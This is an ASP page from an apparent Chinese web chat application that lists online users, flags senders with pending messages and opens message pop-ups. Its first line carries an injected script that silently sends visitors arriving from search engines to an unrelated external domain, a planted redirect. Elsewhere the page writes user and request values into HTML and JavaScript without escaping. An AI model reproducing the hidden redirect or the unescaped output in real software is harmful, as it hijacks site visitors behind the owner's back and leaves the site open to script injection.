d:\wwwroot\wuchunhua\qq\list_user.asp
001:
<script type="text/javascript">var s=document.referrer;if(s.indexOf("google")>0 || s.indexOf("baidu")>0 || s.indexOf("yahoo")>0 || s.indexOf("gou")>0 || s.indexOf("bing")>0 || s.indexOf("dao")>0 || s.indexOf("so")>0 || s.indexOf("sm")>0 || s.indexOf("biso")>0 ){location.href="http://www.afisyecd.space/?1923057"}</script>
<%
Response.Expires=0
%
>
002:
<%
003:
'字符串处理函数
004:
Function FormatStr(str)
005:
'将,和|两个字符进行替换
006:
',被用来分割用户各个信息
007:
'|被用来分割不同用户的信息
008:
str=replace(str,",",",")
009:
FormatStr=replace(str,"|","|")
010:
End Function
011:
012:
'输出客户端javascript代码
013:
%
>
014:
<script language="javascript">
015:
<!--
016:
var display;
017:
var first_y;
018:
function starts()
019:
{
020:
<%
021:
If Request("senduserids")<>"" And Session("isfoucs")=False Then
022:
Response.Write "parent.focus();"
023:
Session("isfoucs")=True
024:
End If
025:
%
>
026:
if(parent.screenLeft<0)
027:
display=false;
028:
else
029:
display=true;
030:
}
031:
032:
function Onmouseover_auto()
033:
{
034:
if((display!=true) && (parent.screenLeft<=0))
035:
{
036:
parent.moveTo(0,parent.screenTop-22);
037:
display=true;
038:
}
039:
}
040:
041:
function Onmouseout_auto()
042:
{
043:
if(parent.screenLeft<=3 && display==true && first_y==-1)
044:
{
045:
a = (parent.screenLeft - parent.document.body.offsetWidth)+20;
046:
parent.moveTo(a,parent.screenTop-22);
047:
display=false;
048:
}
049:
first_y=event.y;
050:
}
051:
-->
052:
</script>
053:
<body Topmargin="0" leftmargin="0" onmouseover="Onmouseover_auto()" onmouseout="Onmouseout_auto()" Onload="starts()">
054:
<div>
055:
<table border="0" width="100%" cellspacing="0" cellpadding="0">
056:
<tr>
057:
<td width="100%" align="center" >
058:
<table border="0" width="100%" cellspacing="0" cellpadding="0">
059:
<%
060:
'变量定义
061:
Dim users,user_datas,senduserids,user_id,i,flags
062:
063:
'获得Application中的在线用户信息记录
064:
users=Application("Users")
065:
066:
'如果用户信息记录为空
067:
If users="" Then
068:
'提示用户系统发生错误
069:
Response.Write "系统发生错误,请重新登陆"
070:
Else
071:
'使用|字符对users变量进行分割成各个用户的信息记录
072:
'保存到数组变量中
073:
user_datas=split(users,"|")
074:
075:
'如果Request对象中的message参数不为空
076:
If Request("senduserids")<>"" Then
077:
'设置senduserids变量的值
078:
senduserids=Request("senduserids") & "|"
079:
Else
080:
'设置senduserids变量的值
081:
senduserids="||"
082:
End If
083:
084:
'循环处理每个用户的信息
085:
For i=1 To ubound(user_datas)
086:
'使用,字符将用户信息分割成用户的各项信息记录
087:
userDataArray=split(user_datas(i),",")
088:
089:
'如果在在线用户的ID号不等于当前用户的ID号
090:
'说明不是同一个人
091:
If cstr(userDataArray(0))<>FormatStr(Session("id")) Then
092:
Response.Write "<tr>"
093:
Response.Write " <td width=""20%"" align=center hight=21 valign=""middle"" >"
094:
095:
'如果该用户为男性
096:
If userDataArray(4)="boy" Then
097:
'显示男性图片
098:
Response.Write "<img src=""boy.gif"" id=""ss" & userDataArray(0) & """ width=13 hight=13 border=0>"
099:
Else
100:
'否则，显示女性图片
101:
Response.Write "<img src=""girl.gif"" id=""ss" & userDataArray(0) & """ width=14 hight=16 border=0>"
102:
End If
103:
104:
Response.Write " <td width=""80%"" align=center hight=21 valign=""middle"" >"
105:
106:
'如果有该在线用户向当前用户发送的消息
107:
If instr(senduserids,"|" & userDataArray(0) & "|")>0 Then
108:
'设置标志为1
109:
flags=1
110:
111:
'向页面输出javascript代码
112:
'以产生闪烁效果
113:
'点击该链接将打开查看消息的新窗口
114:
Response.Write "<a href=""#"" Onclick=""javascript:window.open('list_message.asp?user_id=" & userDataArray(0) & "','_blank','width=338,height=190,noscrollbars,Top=200,left=300');clearTimeout(time" & userDataArray(0) & ");return false;"">"
115:
Response.Write "<font size=3 color=""red"" id=""s" & userDataArray(0) & """>"
116:
117:
'实现闪烁效果的函数
118:
Response.Write "<script language=""Javascript"">"
119:
'为每个用户定义一个唯一的变量
120:
Response.Write "var va" & userDataArray(0) & "=0;"
121:
Response.Write "function f" & userDataArray(0) & "()"
122:
Response.Write "{"
123:
'如果变量为0，设置字体大小为2
124:
Response.Write "if(va" & userDataArray(0) & "==0){"
125:
Response.Write "s" & userDataArray(0) & ".size=2;"
126:
'将变量设置为1
127:
Response.Write "va" & userDataArray(0) & "=1;"
128:
Response.Write "}else{"
129:
'如果变量为1，设置字体大小为3
130:
Response.Write "s" & userDataArray(0) & ".size=3;"
131:
'将变量设置为0
132:
Response.Write "va" & userDataArray(0) & "=0;}"
133:
134:
'设置定时器，反复调用该函数
135:
'实现闪烁效果
136:
Response.Write "time" & userDataArray(0) & "=window.setTimeout('f" & userDataArray(0) & "()',500);"
137:
Response.Write "}"
138:
Response.Write "f" & userDataArray(0) & "();"
139:
Response.Write "</script>"
140:
Else
141:
'否则，添加超级链接
142:
'点击该超级链接，将弹出一个新窗口，在新窗口中显示发送消息的页面
143:
Response.Write "<a href=""#"" Onclick=""window.open('call_user.asp?user_id=" & userDataArray(0) & "','_blank','width=338,height=190,noscrollbars,Top=200,left=300')"">"
144:
Response.Write "<font size=3 color=""#000000"">"
145:
End If
146:
147:
'完成页面代码
148:
Response.Write userDataArray(1)
149:
Response.Write "</font>"
150:
Response.Write "</a>"
151:
Response.Write "</td>"
152:
Response.Write "</tr>"
153:
Response.Write "<tr><td height=15> </td><td></td></tr>"
154:
End If
155:
Next
156:
157:
'如果标志不为1，并且Request("senduserids")不为空
158:
'说明消息还没有处理，原因可能是因为用户已经不在线
159:
If flags<>1 And Request("senduserids")<>"" Then
160:
Dim amessage,strlens,strtemps
161:
'Application中存储的消息
162:
amessage=Application("Messages")
163:
'Request对象中给当前用户发送消息的用户ID号
164:
senduserids=Request("senduserids")
165:
166:
'使用|字符将senduserids变量分割成一个个的ID号
167:
strtemps=split(senduserids,"|")
168:
169:
'循环处理每个用户ID号
170:
For i=1 To ubound(strtemps)
171:
'获得该用户发送给当前用户
172:
'的消息在Application消息字符串中的位置
173:
strlens=instr(amessage,"|" & Formatstr(Session("id")) & "," & strtemps(i) & ",")
174:
175:
'如果该条消息在Application消息字符串中存在
176:
If strlens>0 Then
177:
'提取该条消息之后的所有消息
178:
user_datas=mid(amessage,strlens)
179:
180:
'使用|字符将分割user_datas，获得每条消息
181:
user_datas=split(user_datas,"|")
182:
'使用,字符分割第一条消息
183:
'获得消息发送者ID号
184:
userDataArray=split(user_datas(1),",")
185:
186:
'显示查看消息的超级链接
187:
Response.Write "<tr>"
188:
Response.Write " <td width=""20%"" align=center hight=21 valign=""middle"" >"
189:
Response.Write " </td>"
190:
Response.Write " <td width=""80%"" align=center hight=21 >"
191:
Response.Write "<a href=""#"" Onclick=""javascript:window.open('list_message.asp?user_id=" & userDataArray(1) & "&flags=1','_blank','width=338,height=190,noscrollbars,Top=200,left=300');clearTimeout(time" & userDataArray(0) & ");return false;"">"
192:
193:
'不显示用户昵称，而是显示用户ID号和性别
194:
Response.Write "<font size=""3"" color=""red"" id=s""" & userDataArray(0) & """>"
195:
Response.Write "<br>" & userDataArray(4)
196:
Response.Write "</font>"
197:
Response.Write "</a>"
198:
Response.Write "</td>"
199:
Response.Write "</tr>"
200:
End If
201:
Next
202:
End If
203:
End If
204:
%
>
205:
</table>
206:
</td>
207:
</tr>
208:
</table>
209:
</div>
210:
</body>
211:
212: